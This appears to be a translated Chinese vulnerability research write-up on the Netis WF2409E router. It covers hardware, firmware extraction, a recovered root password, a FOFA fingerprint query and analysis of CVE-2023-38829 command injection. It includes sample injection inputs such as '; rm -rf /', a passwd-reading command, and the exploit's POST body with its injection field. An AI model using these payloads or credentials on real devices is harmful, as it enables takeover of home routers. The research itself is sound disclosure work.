1. 设备概述
1.1 主要特性表
类别 | 范围 | 描述 |
---|---|---|
设备信息 | 模型 | 内蒂斯WF2409E |
类型 | 300Mbps无线N路由器 | |
营养 | 直流9V/500mA | |
硬件版本 | V1.8 | |
PCB版 | PB-7189-M02G-20 | |
生产日期 | 2015-03-23 | |
原产地 | 中国 | |
网络 ID | 序列号 | 2409EEU5B102714 V1.8 |
MAC地址 | W8D398DFB68 | |
默认SSID | 网络_BDFB68 | |
默认密码 | 密码 | |
控制地址 | http://netis.cc | |
硬件接口 | 广域网端口 | 1(蓝色RJ45) |
局域网端口 | 4(黑色RJ45,LAN1-4) | |
天线 | 3 根外置天线 | |
电源连接器 | 直流输入(PWR) | |
功能按钮 | 默认 | 重置为出厂设置 |
WPS | 受保护的 WiFi 设置 |
1.2 性能检查表
正在检查的参数 | 状态 | 笔记 |
---|---|---|
电源指示灯 | 好的 | 开启时常亮 |
网络指标 | 可用 | 连接时闪烁 |
WAN口状态 | 好的 | 网络连接正常 |
LAN口状态 | 可用 | 所有 4 个端口均工作 |
无线网络功能 | 好的 | 天线完好,信号正常 |
WPS功能 | 好的 | 按钮有反应 |
复位功能 | 好的 | 默认按钮有效 |
1.3 主要系统组成
不。 | 芯片型号 | 制造商 | 主要功能 | 规格 | 笔记 |
---|---|---|---|---|---|
1 | EM63A165TS-6G | 钰创科技 | 系统内存 | - 容量 32 Mbit - 频率 166 MHz - SDRAM 架构 - TSOP-II 封装 |
- 用于临时数据存储 - 支持主处理器计算 |
2 | FR9886 61504 | 未知 | 电源管理 | - SOIC-8封装 - 集成电路 |
- DC-DC - 负责电压调节 - 为系统提供稳定的电源 |
3 | RTL8196E | 瑞昱/RMC | 主处理器 | - MIPS 架构 - SoC 设计 - 台湾制造 |
- 系统中央处理器 - 负责核心计算和控制 - 集成网络处理 |
4 | MX25L3206E | 旺宏 | 闪存 | - 容量 32Mb (4MB) - SPI 接口 - SOIC 封装 |
- 存储系统固件 - 保存配置数据 |
5 | RTL8192ER | 瑞昱/RMC | 无线通讯 | - WiFi 控制器 - QFN 外壳 |
- 无线信号处理 - 支持WiFi功能 |
2. 联系研究
2.1 通过串口连接设备
3. 启动日志、引导加载程序和操作系统命令
3.1 下载日志分析
处理器规格
范围 | 规格 |
---|---|
处理器型号 | 瑞昱 RTL8196E |
建筑学 | 16位 |
时钟频率 | 380兆赫 |
编译日期 | 2014.09.29 |
闪存规格
范围 | 意义 | 十六进制值 |
---|---|---|
芯片型号 | MX25L3205D | - |
总体积 | 4MB | 0x400000 |
块大小 | 64KB | 0x10000 |
扇区大小 | 4KB | 0x1000 |
页面尺寸 | 256B | 0x100 |
引导加载程序信息
范围 | 描述 |
---|---|
引导加载程序类型 | 专有的 RealTek 引导加载程序 |
内核启动地址 | 0x80500000 |
执行起始地址 | 0x80003440 |
签名搜索范围 | 0x10000-0x170000 |
默认网络设置
范围 | 意义 |
---|---|
IP地址 | 192.168.0.1 |
子网掩码 | 255.255.255.0 |
MAC地址 | 04:8d:38:BD:FB:69 |
无线接口 | wlan0(包括va0-va3、vxd) |
系统软件信息
范围 | 意义 |
---|---|
设备型号 | 内蒂斯WF2419E_RU |
固件版本 | V2.5.40200 |
固件日期 | 2016.09.02 |
忙碌盒版本 | v1.00-pre8 (2015.01.23) |
服务状态
服务名称 | 地位 | 笔记 |
---|---|---|
DHCP服务器 | 作品 | 美好的 |
HTTP 服务器(Boa) | 作品 | 异常重启 |
国际应用程序协会 | 作品 | IEEE 802.11f |
迷你IGD | 作品 | v1.08.1 |
迷你upnpd | 错误 | 找不到文件 |
远程登录 | 错误 | 找不到文件 |
ota_init.sh | 错误 | 找不到文件 |
需要注意的是,该设备可能不使用 U-Boot。主要特点:
- 日志直接以 RealTek 启动信息开头:
---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](380MHz)
- 典型的 U-Boot 启动症状缺失:
- 没有 U-Boot 版本信息
- 没有关于初始化 U-Boot 环境变量的信息
- 没有 U-Boot 命令提示符
- RTL8196E是RealTek的一款廉价路由器芯片,许多基于它的设备使用RealTek自己的引导加载程序而不是U-Boot。
- 考虑到闪存容量较小 (4MB),使用轻量级引导加载程序更符合逻辑。实在找不到登录U-boot的方法。
3.2 Bootloader分析
要进入引导加载程序,必须在引导时按住 Esc 键:
全套 RealTek 引导加载程序命令
团队 | 句法 | 功能 |
---|---|---|
帮助 | ? | 显示帮助 |
数据库/数据库 | DB/DW <地址> <长度> | 逐字读取存储器 |
电子战/电子战 | EB/EW <地址> <值> | 逐字/逐字写入内存 |
FLR | FLR | 从Flash读取数据到RAM |
F.L.W. | FLW <dst_ROM><src_RAM> | 将数据从 RAM 写入 Flash |
IP配置 | IPCONFIG <IP 地址> | IP地址设定 |
加载地址 | LOADADDR <地址> | 设置下载地址 |
化学机械抛光 | 化学机械抛光 | 比较内存中的数据 |
J | J <地址> | 转到执行 |
MDIOR/MDIOW | MDIOR/W [数据] | 读/写 PHY 寄存器 |
PHYR/PHYW | PHYR/W [数据] | 读/写 PHY 寄存器(替代方法) |
端口1 | 端口1 | 端口1补丁测试 |
自动燃烧 | 自动刻录 0/1 | 自动固件管理 |
内存读取示例:
引导加载程序命令:
<RealTek> FLR 80000000 0 100 #Чтение из Flash
DB 80000000 100 #查看内存内容
3.3 Shell环境分析
基本 shell 命令
命令类型 | 可用命令 |
---|---|
基本命令 | . , : , cd , help ,exit |
执行管理 | break , continue , eval ,exec |
变量运算 | export , read , readonly , set ,shift |
流程管理 | times , trap ,wait |
权限管理 | login , newgrp ,umask |
系统目录结构详解(/bin——重要工具)
类别 | 工具 | 功能 |
---|---|---|
网络工具 | iptables ip6tables brctl ifconfig |
防火墙配置、IPv6防火墙、网桥管理、网络接口配置 |
系统管理 | busybox ps kill mount |
一套基础工具,进程查看、进程管理、文件系统挂载 |
VPN 连接 | pppd pptp l2tpd pptpctrl |
PPP 守护进程、PPTP 客户端、L2TP 守护进程、PPTP 控制 |
无线控制 | iwcontrol iwpriv wlanapp.sh wps_init.sh |
无线控制、私有无线命令、无线应用程序控制、WPS 配置 |
防火墙脚本 | firewall.sh firewall_ipv6.sh firewall_pptp.sh |
基本防火墙、IPv6防火墙、PPTP防火墙 |
动态主机配置协议/域名系统 | dhcpc.sh dhcpd.sh dnrd |
DHCP客户端、DHCP服务器、DNS转发 |
网络服务 | boa webs cgitest.cgi |
Web服务器、Web控件、CGI测试 |
/proc目录的关键信息
小路 | 信息类型 | 描述 |
---|---|---|
/proc/cpu信息 | CPU信息 | 处理器详细信息 |
/proc/内存信息 | 内存信息 | 系统内存使用状态 |
/proc/mtd | 栏目信息 | 闪存共享 |
/进程/网络/* | 网络信息 | 网络接口和连接的状态 |
/进程/系统/* | 系统参数 | 可调系统参数 |
/进程/版本 | 版本信息 | 内核版本信息 |
进程列表:
3.4 主要硬件部件说明
成分 | 描述 | 规格 |
---|---|---|
RTL8196E | 主处理器 | - MIPS架构 - SoC设计 - 台湾制造 - 系统CPU - 负责核心计算和控制 - 内置网络处理功能 |
EM63A165TS-6G | 系统内存 | - 32 Mbit 容量 - 166 MHz 频率 - SDRAM 架构 - TSOP-II 封装 - 系统数据临时存储 - 支持主处理器计算 |
MX25L3206E | 闪存 | - 32 Mbit (4 MB) 容量 - SPI 接口 - SOIC 封装 - 系统固件存储 - 配置数据存储 |
RTL8192ER | 无线网络 | - WiFi 控制器 - QFN 外壳 - 无线信号处理 - WiFi 支持 |
FR9886 61504 | 电源管理 | - SOIC-8封装 - 集成电路 - DC-DC - 负责电压调节 - 为系统提供稳定的电源 |
4.挂载点信息分析
4.1 获取挂载分区信息
4.2 系统主要有3个挂载点:
/dev/mtdblock1
安装为根目录/
none
作为进程文件系统安装/proc
tmpfs
作为临时文件系统安装/var
详细分析
4.2.1.根文件系统
根文件系统配置如下:
- 设备:
/dev/mtdblock1
- 文件系统类型:squashfs
- 挂载选项:只读 (ro)
- 用途:存放系统文件和程序
这表明使用MTD闪存作为存储介质,使用只读和squashfs压缩来保护系统文件并优化空间。
4.2.2 进程文件系统
进程文件系统配置如下:
- 设备:无(虚拟文件系统)
- 文件系统类型:proc
- 挂载选项:读写 (rw)
- 目的:提供访问系统和流程信息的接口
4.2.3 临时文件系统
临时文件系统配置如下:
- 设备:tmpfs(内存文件系统)
- 挂载点:/var
- 大小限制:230 KB
- 挂载选项:读写 (rw)
- 用途:工作时存储临时文件和数据
4.2.4 发现系统中大部分命令缺失
5. 固件结构和格式
5.1 获取恶意软件“netis.bin”
5.2 进行熵分析:
binwalk -E --save netis.bin
5.3 头分析:
binwalk netis.bin
5.4 –reM 参数用于执行解包。
并得到:
5.5 分析结果表
文件 | 偏移量(十进制) | 偏移量(十六进制) | 描述 | 附加信息 |
---|---|---|---|---|
网络文件 | 4848 | 0x12F0 | LZMA压缩数据 | 字典大小:8388608字节,解包后大小:56464字节;开箱后需要进行内容分析 |
网络文件 | 206872 | 0x32818 | LZMA压缩数据 | 字典大小:8388608字节,解包后大小:3278684字节;包含完整的 Linux 内核 2.6.30 |
网络文件 | 1507328 | 0x170000 | SquashFS 文件系统 | Little endian,gzip 压缩,大小:2628241 字节 |
偏见 | 章节标题 |
---|---|
0x12F0 | |
0x32818 | |
0x170000 |
6.固件解压后的文件系统
6.1 解压后的文件系统:
6.2 一些重要文件
6.2.1etc/passwd:
使用哈希解密服务https://hashes.com/en/decrypt/hash,成功恢复 root 密码为realtek
。
6.2.2web/welcome.htm:
这是默认的 Web 界面页面
7. FOFA 的标记、指纹、统计
FOFA
通过以下特征搜索设备web/welcome.htm:
搜索命令: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"
要访问设备的管理面板,可能需要使用登录名和密码进行身份验证。
认证成功后即可登录管理面板
8. 识别脚本
首先,使用命令找到可用目录,并~/squashfs-root/web$ find
使用以下命令Burpsuit
检查它们的可用性:
有效载荷 | 代码 | 长度 | ||
---|---|---|---|---|
1 | /cgi-bin | 200 | 167 | |
2 | /cgi-bin/cgitest.cgi | - | 错误 | - |
3 | /脚本 | 200 | 168 | |
4 | /脚本/init.js | 200 | 第1282章 | |
5 | /脚本/logic.js | 200 | 65677 | |
6 | /脚本/menu.js | 200 | 4976 | |
7 | /脚本/netcore.js | 200 | 151935 | |
8 | /脚本/action.js | 200 | 182624 | |
9 | /脚本/debug.js | 200 | 28570 | |
==10== | ==/版本.txt== | ==200== | ==206== | |
==11== | ==/update.htm== | ==200== | ==1230== | |
12 | /配置 | 200 | 168 | |
13 | /config/language_es.js | 200 | 79333 | |
14 | /config/language_it.js | 200 | 76802 | |
15 | /config/language_id.js | 200 | 74795 | |
16 | /config/language_du.js | 200 | 78782 | |
17 号 | /config/language_ma.js | 200 | 73594 | |
18 | /config/language_po.js | 200 | 76458 | |
19 号 | /config/language_tu.js | 200 | 77747 | |
20 | /config/language_fr.js | 200 | 78165 | |
21 | /config/language_ro.js | 200 | 73621 | |
22 | /config/language_cz.js | 200 | 75968 | |
23 | /config/language_ua.js | 200 | 98335 | |
24 | /config/language_us.js | 200 | 84173 | |
25 | /config/config.js | 200 | 75899 | |
26 | /config/language_ru.js | 200 | 108998 | |
27 | /config/language_de.js | 200 | 78674 | |
28 | /config/language_pt.js | 200 | 77954 | |
29 | /config/language_cn.js | 200 | 62001 | |
30 | /config/language_tc.js | 200 | 74268 | |
31 | /系统日志.txt | 404 | 330 | |
==32== | ==/index.htm== | ==200== | ==4336== | |
33 | /css | 200 | 167 | |
34 | /css/style.css | 200 | 5441 | |
35 | /css/netcore.css | 200 | 11536 | |
36 | /css/welcome.css | 200 | 6270 | |
37 | /配置.tgz | 404 | 第326章 | |
38 | /图片 | 200 | 168 | |
39 | /图片/first.png | 200 | 第838章 | |
40 | /images/icon_no.gif | 200 | 240 | |
41 | /images/top_right_bg.gif | 200 | 222 | |
42 | /images/logo_netis.png | 200 | 7297 | |
43 | /images/icon_jian.gif | 200 | 239 | |
44 | /images/show_pwd.png | 200 | 第1433章 | |
45 | /images/icon_no1.gif | 200 | 第498章 | |
46 | /images/nextt.png | 200 | 1026 | |
47 | /images/lastt.png | 200 | 第845章 | |
48 | /images/icon_intro_internet.gif | 200 | 6994 | |
49 | /images/help_b1.gif | 200 | 540 | |
50 | /图片/high.gif | 200 | 10846 | |
51 | /images/yandex_en.png | 200 | 3519 | |
52 | /images/help_b1.jpg | 200 | 620 | |
53 | /图片/back.gif | 200 | 第379章 | |
54 | /images/icon_intro_wireless.jpg | 200 | 3838 | |
55 | /images/icon_jian1.gif | 200 | 第490章 | |
56 | /图片/left_021.jpg | 200 | 第558章 | |
57 | /图像/编辑.gif | 200 | 365 | |
58 | /图片/pre.png | 200 | 1029 | |
59 | /images/btn_mobile_setup.jpg | 200 | 3053 | |
60 | /images/icon_now.gif | 200 | 第242章 | |
61 | /images/top_right_bg.jpg | 200 | 223 | |
62 | /images/bg_intro_bottom.png | 200 | 3562 | |
63 | /图片/favicon.ico | 200 | 4458 | |
64 | /images/btn_quick_setup.jpg | 200 | 4353 | |
65 | /images/bg_intro_top.png | 200 | 3605 | |
66 | /images/mt-link.gif | 200 | 5823 | |
67 | /图片/link.gif | 200 | 1045 | |
68 | /图像/del.gif | 200 | 313 | |
==69== | ==/图像/Makefile== | ==200== | ==593== | |
70 | /images/icon_jia1.gif | 200 | 第490章 | |
71 | /图片/蓝色.jpg | 200 | 2584 | |
72 | /图像/正常.gif | 200 | 10818 | |
73 | /images/yandex.png | 200 | 2159 | |
74 | /images/bg_leftmenu.gif | 200 | 第686章 | |
75 | /images/icon_jia.gif | 200 | 第252章 | |
76 | /images/icon_now1.gif | 200 | 第487章 | |
==77== | ==/welcome.htm== | ==200== | ==30155== | |
==78== | ==/index.html== | ==200== | ==326== | |
79 | /帮助 | 200 | 166 | |
==80== | ==/备份.htm== | ==200== | ==1304== |
潜在的信息位置:
有效载荷 | 代码 | 长度 | |
---|---|---|---|
==10== | ==/版本.txt== | ==200== | ==206== |
==11== | ==/update.htm== | ==200== | ==1230== |
==32== | ==/index.htm== | ==200== | ==4336== |
==69== | ==/图像/Makefile== | ==200== | ==593== |
==77== | ==/welcome.htm== | ==200== | ==30155== |
==78== | ==/index.html== | ==200== | ==326== |
==80== | ==/备份.htm== | ==200== | ==1304== |
经过检查,我们可以在==/version.txt==文件中找到以下信息:
- 固件版本
- 建造日期
- Boa服务器信息(从HTTP响应头中的Server字段获取)
使用 Python 脚本提取此信息:
9. CVSS漏洞列表
9.1 漏洞列表
目前,该设备已发现以下漏洞,其中该漏洞CVE-2023-38829
为命令注入漏洞,存在于路由器的网络测试模块和功能NETIS SYSTEMS Router WF2409E
中。通过Web管理界面,可以向这些函数的参数中注入恶意命令,从而导致命令执行。ping
traceroute
漏洞编号 | 漏洞类型 | 模型 | 版本 | 报告/利用 |
---|---|---|---|---|
CVE-2023-42336 | 敏感信息泄露 | 内蒂斯 | wf2409e_固件 < 1.0.1.705 wf3409e < v4 |
https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md |
CVE-2023-38829 | 远程代码执行 | 内蒂斯 | wf2409e_固件 < 3.6.42541 wf3409e < - |
https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E |
9.2 漏洞检查
ping
为了检查这个漏洞,我登录了路由器的控制面板并测试了和中的漏洞traceroute
。 这里我实现了一个命令
cd && ls && cd etc/ && cat passwd
来输出密码文件的内容。
以下是注入命令时路由器控制面板的输出,这证实了漏洞的存在。
9.3 CVSS漏洞评估
CVSS 3.1检测到的命令注入漏洞分析:
-
基线评估:
- 攻击向量 (AV):网络 (N),因为可以进行远程利用
- 攻击复杂度 (AC):低 (L),因为它只需要发送 HTTP 请求
- 所需权限 (PR):低 (L),需要基本用户权限(在设备管理界面中进行身份验证)
- 用户交互 (UI):无 (N),无需用户交互
- 影响范围(S):修改(C),可能影响连接到路由器的其他设备
-
影响指标:
- 隐私影响 (C):高 (H),可进行完整系统访问
- 完整性影响 (I):高 (H),任何系统文件都可能被修改
- 可用性影响 (A):高 (H),可能对设备运行产生影响
- 临时评估指标:
- 利用成熟度 (E):存在功能性利用 (F)
- 修复级别 (RL):官方修复 (O)
- 报告可靠性 (RC):已确认 (C)
最终评分:9.2/10分,属于“严重”类别。 CVSS-矢量: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
漏洞评分如此高的原因如下:
- 无需特殊条件即可进行远程操作
- 无需身份验证即可获得 root 权限
- 全面影响系统安全
- 漏洞利用的容易程度
10. 弱漏洞分析(BO或CI)
我们首先查找可能存在漏洞的文件: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi
我假设CGI程序中可能会出现漏洞,所以首先我将尝试使用IDA Pro分析./web/cgi-bin/cgitest.cgi文件。
首先,您需要找到调用类似函数的地方;通过搜索,我们能够找到字符串“killall ping”。 分析调用位置时可以看到,程序在初始化了ping和traceroute函数后,调用了
/bin/network_test.sh
而漏洞所在的地方正是在网络测试模块中。好吧,我们需要分析一下/bin/network_test.sh
。
分析network_test.sh
首先您需要执行搜索。
找到函数network_test_sh: ……
对函数的详细分析可以揭示执行命令和保存结果的模块。
其中:执行 ping 命令:ping -c %d -s %d %s -W %d > %s &
- 平参数:
- -c: ping 次数
- -s:数据包大小(负8字节)
- -W:超时
- 配置中的目标 IP 地址
执行traceroute命令:traceroute -I -m %d %s > %s &
- 路由跟踪参数:
- -I:使用ICMP协议
- -m:最大跳转次数
- 配置中的目标 IP 地址
详细的漏洞分析
# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности
该代码缺乏对输入参数的充分验证,从而产生命令注入的潜在风险。攻击者可以操纵传递的IP参数来执行shell命令,例如:
# Нормальный ввод 192.168.0.1
# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд
11. 操作脚本
11.1.脚本概述
该脚本利用设备 Web 界面中的命令注入漏洞,通过创建特殊的 HTTP 请求来远程执行命令。该脚本使用两个 HTTP POST 请求来利用该漏洞:第一个请求执行命令,第二个请求接收执行结果。
第一个包(netcore_set.cgi)的用途是:命令的实现和执行
第二个包(netcore_get.cgi)旨在:获取命令的结果
11.2 第一阶段:命令注入
- 使用以下关键参数形成 POST 请求正文:
{ "mode_name": "netcore_set",
"tools_type": "2",
"tools_ip_url": f"| {command}", # точка инъекции команды
"tools_cmd": "1",
"net_tools_set": "1" }
- 所有参数的URL编码
- 向 netcore_set.cgi 发送 POST 请求
11.3 第二阶段:获得结果
- 第二个 POST 请求的形成:
{ "mode_name": "netcore_get",
"noneed": "noneed" }
- 向 netcore_get.cgi 发送请求
- 解析响应中的tools_results字段,得到命令执行的结果
11.4 测试脚本
为了测试脚本,我ceshi
在主机上创建了一个文件并尝试通过脚本将其上传到设备
成功地!
事实上,此漏洞允许您获得对设备的完全控制,因为设备默认使用 root 访问权限
https://github.com/Victorique-123/CVE-2023-38829-NETIS-WF2409E_Report
原文始发于微信公众号(夜组安全):网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论